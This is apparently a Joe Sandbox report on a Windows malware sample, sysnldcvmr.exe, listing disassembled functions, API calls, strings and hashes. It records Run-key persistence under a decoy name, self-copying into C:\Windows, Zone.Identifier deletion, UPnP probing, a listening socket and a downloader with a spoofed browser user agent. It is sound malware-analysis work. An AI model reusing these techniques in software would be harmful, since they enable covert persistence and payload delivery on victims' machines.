Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID:
API String ID: 459949847-0
Opcode ID: 8c6e8e85228af4463c2c4705a75977d25c0b83143a75c32acd5627430c5b3515
Instruction ID: 74c6c169e6652ce6f6b7715e91ddbb7e77275cafe0f94b55a583b47f3cb3299b
Opcode Fuzzy Hash: 8c6e8e85228af4463c2c4705a75977d25c0b83143a75c32acd5627430c5b3515
Instruction Fuzzy Hash: 13E01275D44208FBD704AFA0DD0EB9D77789B05341F1081A5F905922A0DAF95E80DB56

Function 00407030 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 004072C0: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 004072E0

SysFreeString.OLEAUT32(00000000), ref: 00407248

Strings

Microsoft Corporation, xrefs: 004071B6

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 2f3cc9baeef0c7a1245b843303fd4ce0e44c974243be678b414a87c4b8a79f3c
Instruction ID: 457fc6c08a50d419230b37d5b6ce52bdab008108e04107557a49afcd29d8ec7c
Opcode Fuzzy Hash: 2f3cc9baeef0c7a1245b843303fd4ce0e44c974243be678b414a87c4b8a79f3c
Instruction Fuzzy Hash: 4491FC75E0410ADFCB04DB94D890AAFB7B5BF48304F2081A9E515B73E4D734AE82CB66

Function 0040D980 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040DBC0: memset.NTDLL ref: 0040DBE8
Part of subcall function 0040DBC0: InternetCrackUrlA.WININET(0040D699,00000000,10000000,0000003C), ref: 0040DC38
Part of subcall function 0040DBC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040DC48
Part of subcall function 0040DBC0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040DC81
Part of subcall function 0040DBC0: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040DCB7
Part of subcall function 0040DBC0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040DCDF
Part of subcall function 0040DBC0: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040DD28
Part of subcall function 0040DBC0: InternetCloseHandle.WININET(00000000), ref: 0040DDB7

Part of subcall function 0040DAB0: SysAllocString.OLEAUT32(00000000), ref: 0040DADE
Part of subcall function 0040DAB0: CoCreateInstance.OLE32(00412408,00000000,00004401,004123F8,00000000), ref: 0040DB06
Part of subcall function 0040DAB0: SysFreeString.OLEAUT32(00000000), ref: 0040DBA1

SysFreeString.OLEAUT32(00000000), ref: 0040DA5B
SysFreeString.OLEAUT32(00000000), ref: 0040DA65

Strings

%S%S, xrefs: 0040DA46

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: 2a44cf61d891e8738e9fac40afdb9ff2254c365f5810798eb153ce2e68fa7b5b
Instruction ID: beec9ad9f3848cf7af9d47610756df11a49d132dd1bd9a4578eda8885410465d
Opcode Fuzzy Hash: 2a44cf61d891e8738e9fac40afdb9ff2254c365f5810798eb153ce2e68fa7b5b
Instruction Fuzzy Hash: 4941E6B5E002099FCB04DBE4C885AEFB7B9BF48304F148569E505B7391D738AA85CFA5

Function 0040D640 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,?,00407A25), ref: 0040D64A

Part of subcall function 0040D710: socket.WS2_32(00000002,00000002,00000011), ref: 0040D72A
Part of subcall function 0040D710: htons.WS2_32(0000076C), ref: 0040D760
Part of subcall function 0040D710: inet_addr.WS2_32(239.255.255.250), ref: 0040D76F
Part of subcall function 0040D710: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040D78D
Part of subcall function 0040D710: bind.WS2_32(000000FF,?,00000010), ref: 0040D7C3
Part of subcall function 0040D710: lstrlenA.KERNEL32(00411760,00000000,?,00000010), ref: 0040D7DC
Part of subcall function 0040D710: sendto.WS2_32(000000FF,00411760,00000000), ref: 0040D7EB
Part of subcall function 0040D710: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040D805

Part of subcall function 0040D980: SysFreeString.OLEAUT32(00000000), ref: 0040DA5B
Part of subcall function 0040D980: SysFreeString.OLEAUT32(00000000), ref: 0040DA65

Strings

UDP, xrefs: 0040D6D8
TCP, xrefs: 0040D6BB

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: e7e0460ef37b7f5a634b859c329effc3c57a24fdb8b35e9f857aa09b9315b4ce
Instruction ID: b9d850b43d5b9198a526a111fa4c70c7537d99c61ef063864e94ee7d89292dcb
Opcode Fuzzy Hash: e7e0460ef37b7f5a634b859c329effc3c57a24fdb8b35e9f857aa09b9315b4ce
Instruction Fuzzy Hash: A91181B4D01208EBDB00EBD4D945FEE7374AB44308F1089BAE505772C2D7799E58CB9A

Function 0040D250 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 0040D290
CloseHandle.KERNEL32(?), ref: 0040D2A9

Strings

.Mw, xrefs: 0040D2A9

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: CloseHandleObjectSingleWait
String ID: .Mw
API String ID: 528846559-2453323595
Opcode ID: e15632ae9c74927274e801b832af1c2d3c046c8cbd4ac2304eb1b22343a8a1a8
Instruction ID: d1fe1851c25795fdacbee2e877de448503af208f5fff4c31293181607202da8f
Opcode Fuzzy Hash: e15632ae9c74927274e801b832af1c2d3c046c8cbd4ac2304eb1b22343a8a1a8
Instruction Fuzzy Hash: 3B11C574A04208EFCB04CF84D580E69B7B6FB89354F2081AAEC05AB385C735EE52DB95

Function 00405EB0 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00415E30,?,?,?), ref: 00405EBF
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405EFE
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405F73
LeaveCriticalSection.KERNEL32(00415E30), ref: 00405F90

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: CriticalSectionmemcpy$EnterLeave
String ID:
API String ID: 469056452-0
Opcode ID: 11a0381e7cc2a19f3e704b5167a0aa4c73886e0f3014e3589bcc626491d58d19
Instruction ID: 4abcbf5e8f17672ba879e37304839ab4c0f114d9c1813139277d8bca2654c775
Opcode Fuzzy Hash: 11a0381e7cc2a19f3e704b5167a0aa4c73886e0f3014e3589bcc626491d58d19
Instruction Fuzzy Hash: 71217C35D04609EBCB04DF94D985BDEBBB1EB48304F1481AAE80567281D37CAA95CF9A

Analysis Process: sysnldcvmr.exePID: 7656, Parent PID: 7544COMMON

Execution Graph

Execution Coverage:	21%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1444
Total number of Limit Nodes:	26

Executed Functions

Function 00402020 Relevance: 16.6, APIs: 11, Instructions: 131
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?), ref: 00402043
InitializeCriticalSection.KERNEL32(00000020), ref: 00402057
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00402065
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040207E

Part of subcall function 0040D130: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040D14E

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 004020AB
setsockopt.WS2_32 ref: 004020D1
htons.WS2_32(?), ref: 00402101
bind.WS2_32(?,0000FFFF,00000010), ref: 00402117
listen.WS2_32(?,7FFFFFFF), ref: 0040212F
WSACreateEvent.WS2_32 ref: 0040213A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040214E

Part of subcall function 0040D160: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D184
Part of subcall function 0040D160: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040D1DF
Part of subcall function 0040D160: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D21C
Part of subcall function 0040D160: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D227
Part of subcall function 0040D160: DuplicateHandle.KERNEL32(00000000), ref: 0040D22E
Part of subcall function 0040D160: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D242

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: 4aaa01092ab68818f2c6086df037ff4d5fe56567f8ac19d07e2acd010698dc1e
Instruction ID: bb6f584dfdc5104726d227d4109236b5a11985639f999f99e629cd7821b1dbc1
Opcode Fuzzy Hash: 4aaa01092ab68818f2c6086df037ff4d5fe56567f8ac19d07e2acd010698dc1e
Instruction Fuzzy Hash: 3F41B270640301ABD3209F749C4AF4B77E4AF48710F108A2DF669EA2D4E7F4E845875A

Function 0040D710 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040D72A
htons.WS2_32(0000076C), ref: 0040D760
inet_addr.WS2_32(239.255.255.250), ref: 0040D76F
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040D78D

Part of subcall function 0040AA80: htons.WS2_32(00000050), ref: 0040AAAD
Part of subcall function 0040AA80: socket.WS2_32(00000002,00000001,00000000), ref: 0040AACD
Part of subcall function 0040AA80: connect.WS2_32(000000FF,?,00000010), ref: 0040AAE6
Part of subcall function 0040AA80: getsockname.WS2_32(000000FF,?,00000010), ref: 0040AB18

bind.WS2_32(000000FF,?,00000010), ref: 0040D7C3
lstrlenA.KERNEL32(00411760,00000000,?,00000010), ref: 0040D7DC
sendto.WS2_32(000000FF,00411760,00000000), ref: 0040D7EB
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040D805

Part of subcall function 0040D890: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040D8DE
Part of subcall function 0040D890: Sleep.KERNEL32(000003E8), ref: 0040D8EE
Part of subcall function 0040D890: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040D90B
Part of subcall function 0040D890: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040D921
Part of subcall function 0040D890: StrChrA.SHLWAPI(?,0000000D), ref: 0040D94E

Strings

239.255.255.250, xrefs: 0040D76A

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250
API String ID: 726339449-2186272203
Opcode ID: 79f07a221ebe8da2b3f6cc1201247ff83fcd4ebf719402c26e706ca4d9eeb493
Instruction ID: cd66526dcba05d1bd7c9b39ec2501b61c01db5f9fe0ef632d0235bd6d7545576
Opcode Fuzzy Hash: 79f07a221ebe8da2b3f6cc1201247ff83fcd4ebf719402c26e706ca4d9eeb493
Instruction Fuzzy Hash: F64137B5E00208EBDB04DFE4D889BEEBBB5AF48304F108169E515B7390E7B45A44CB69

Function 00401470 Relevance: 9.1, APIs: 6, Instructions: 89networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004014B2
socket.WS2_32(00000002,00000002,00000011), ref: 004014C1
htons.WS2_32(?), ref: 00401508
setsockopt.WS2_32(?,0000FFFF), ref: 0040152A
bind.WS2_32(?,?,00000010), ref: 0040153B

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401569

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: 7eae0560a4d2d7404a029b5e5367fdda332e0801075591d5afac2db090b1cb88
Instruction ID: 37c3663fbc3c265b2fc21df898a790ae91858f9cd77d7d33374cf85f68206479
Opcode Fuzzy Hash: 7eae0560a4d2d7404a029b5e5367fdda332e0801075591d5afac2db090b1cb88
Instruction Fuzzy Hash: 0331C871A443016BE320DF649C46F9BB6E0AF48B10F50493DF655EB2D0D3B5D544879A

Function 0040CCF0 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040CD02
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040CD28
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040CD5F
GetTickCount.KERNEL32 ref: 0040CD74
Sleep.KERNEL32(00000001), ref: 0040CD94
GetTickCount.KERNEL32 ref: 0040CD9A

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 37a822bdddda98564e28443683f910c137df2279eb61dd0ccc6bd5f83a2e5522
Instruction ID: 0ae774020e9f5877292fe20f0fc2b5ec497076074ae846a5bd2c446efb985cc9
Opcode Fuzzy Hash: 37a822bdddda98564e28443683f910c137df2279eb61dd0ccc6bd5f83a2e5522
Instruction Fuzzy Hash: 4431FC74900209EFCB04DFA8D988BEE7BB1FF44315F10867AE825A7290D7749A51CF95

Function 0040AA80 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(00000050), ref: 0040AAAD

Part of subcall function 0040AA40: inet_addr.WS2_32(0040AAC1), ref: 0040AA4A
Part of subcall function 0040AA40: gethostbyname.WS2_32(?), ref: 0040AA5D

socket.WS2_32(00000002,00000001,00000000), ref: 0040AACD
connect.WS2_32(000000FF,?,00000010), ref: 0040AAE6
getsockname.WS2_32(000000FF,?,00000010), ref: 0040AB18

Strings

www.update.microsoft.com, xrefs: 0040AAB7

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 17f60f9418bba267ceb1c0f8ef6a4cf2a322d26a33b8be3941e3699853ecfadc
Instruction ID: 53d455f177803832f36bb1991f027e84745f2e467cc2e97abaa02536582c95dc
Opcode Fuzzy Hash: 17f60f9418bba267ceb1c0f8ef6a4cf2a322d26a33b8be3941e3699853ecfadc
Instruction Fuzzy Hash: 09210BB5E103099BCB04DFE8D946AEEBBB5AF4C300F104169E605F7390E7745A45CBAA

Function 0040BE80 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(Bz@,00000000,00000000,00000001,F0000040,?,?,0040BED9,Bz@,00000004,?,?,0040BF0E,000000FF), ref: 0040BE93
CryptGenRandom.ADVAPI32(Bz@,?,00000000,?,?,0040BED9,Bz@,00000004,?,?,0040BF0E,000000FF), ref: 0040BEA9
CryptReleaseContext.ADVAPI32(Bz@,00000000,?,?,0040BED9,Bz@,00000004,?,?,0040BF0E,000000FF), ref: 0040BEB5

Strings

Bz@, xrefs: 0040BE8F, 0040BEA5, 0040BEB1, 0040BE92, 0040BEA8, 0040BEB4

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID: Bz@
API String ID: 1815803762-793989200
Opcode ID: a24c2434b3afb1955293fcca0a538135b7e24827869c87ceb3569772b55bea96
Instruction ID: 6606508483a264dc8c12e3925f56bba8ecc3e33b87176868a4d93c44792bd7d2
Opcode Fuzzy Hash: a24c2434b3afb1955293fcca0a538135b7e24827869c87ceb3569772b55bea96
Instruction Fuzzy Hash: 87E01275650208BBDB24CFD1EC49FDA776CEB48700F108154F70997280DBB5EA4097A8

Function 004013B0 Relevance: 6.1, APIs: 4, Instructions: 63networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040D55D,00000000), ref: 004013D5
socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401459

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: 31180d7e4796b58d7a9827198c00b491a772c1cc3db0f11a28eb4642cd00de7f
Instruction ID: f9ba2cfc99a050ce4a8bfcbff2653574801cca82506c6568c29975d90a0f09d7
Opcode Fuzzy Hash: 31180d7e4796b58d7a9827198c00b491a772c1cc3db0f11a28eb4642cd00de7f
Instruction Fuzzy Hash: 61118974A417106FE320DF749C0AF877AE0AF04B54F50892DF699E72E1E3B49544879A

Function 00407590 Relevance: 119.4, APIs: 50, Strings: 18, Instructions: 351
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000BB8), ref: 0040759E
CreateMutexA.KERNEL32(00000000,00000000,753f85d83d), ref: 004075AD
GetLastError.KERNEL32 ref: 004075B9
ExitProcess.KERNEL32 ref: 004075C8
GetModuleFileNameW.KERNEL32(00000000,C:\Windows\sysnldcvmr.exe,00000105), ref: 00407602
PathFindFileNameW.SHLWAPI(C:\Windows\sysnldcvmr.exe), ref: 0040760D
wsprintfW.USER32 ref: 0040762A
DeleteFileW.KERNEL32(?), ref: 0040763A
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00407651
wcscmp.NTDLL ref: 00407663
ExitProcess.KERNEL32 ref: 00407682

Strings

Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 004076F9
%s:Zone.Identifier, xrefs: 0040761E
%s\tbtcmds.dat, xrefs: 004079A8
C:\Users\user\tbtnds.dat, xrefs: 00407993
%s\tbtnds.dat, xrefs: 0040798E
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 004078DA
%userprofile%, xrefs: 0040764C
%s\%s, xrefs: 0040788C
%s\%s, xrefs: 00407790
sysnldcvmr.exe, xrefs: 00407657, 0040769F, 00407784, 00407880
Windows Settings, xrefs: 00407737, 0040781C, 00407918
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 004077DE
%windir%, xrefs: 00407694
%s\%s, xrefs: 004076AB
%temp%, xrefs: 00407875
C:\Windows\sysnldcvmr.exe, xrefs: 004075FB, 00407608, 00407619, 004076C9, 004077AE, 004078AA
753f85d83d, xrefs: 004075A4
C:\Users\user\tbtcmds.dat, xrefs: 004079AD

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswcscmpwsprintf
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\%s$%s\tbtcmds.dat$%s\tbtnds.dat$%temp%$%userprofile%$%windir%$753f85d83d$C:\Users\user\tbtcmds.dat$C:\Users\user\tbtnds.dat$C:\Windows\sysnldcvmr.exe$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Windows Settings$sysnldcvmr.exe
API String ID: 4172876685-36690512
Opcode ID: 482dbe28681a4ff41ac6421b7ae0de9d521586a00b1bdf450ddf1665318c4ecb
Instruction ID: e42dc10877dc27750cdf455f3f1a43eebb5fa16e92bd93e31d1e2fde4cabc692
Opcode Fuzzy Hash: 482dbe28681a4ff41ac6421b7ae0de9d521586a00b1bdf450ddf1665318c4ecb
Instruction Fuzzy Hash: 50D1B6B1A80314BBE720ABA0DC4AFD93734AB48B05F1085B5F709B50D1DAF9A6C4CB5D

Function 0040EAE0 Relevance: 73.7, APIs: 34, Strings: 8, Instructions: 227
filenetworksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040EAE9
srand.MSVCRT ref: 0040EAF0
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040EB10
strlen.NTDLL ref: 0040EB1A
mbstowcs.NTDLL ref: 0040EB31
rand.MSVCRT ref: 0040EB39
rand.MSVCRT ref: 0040EB4D
wsprintfW.USER32 ref: 0040EB74
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040EB8A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040EBB9
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040EBE8
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040EC1B
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040EC4C
CloseHandle.KERNEL32(000000FF), ref: 0040EC5B
wsprintfW.USER32 ref: 0040EC74
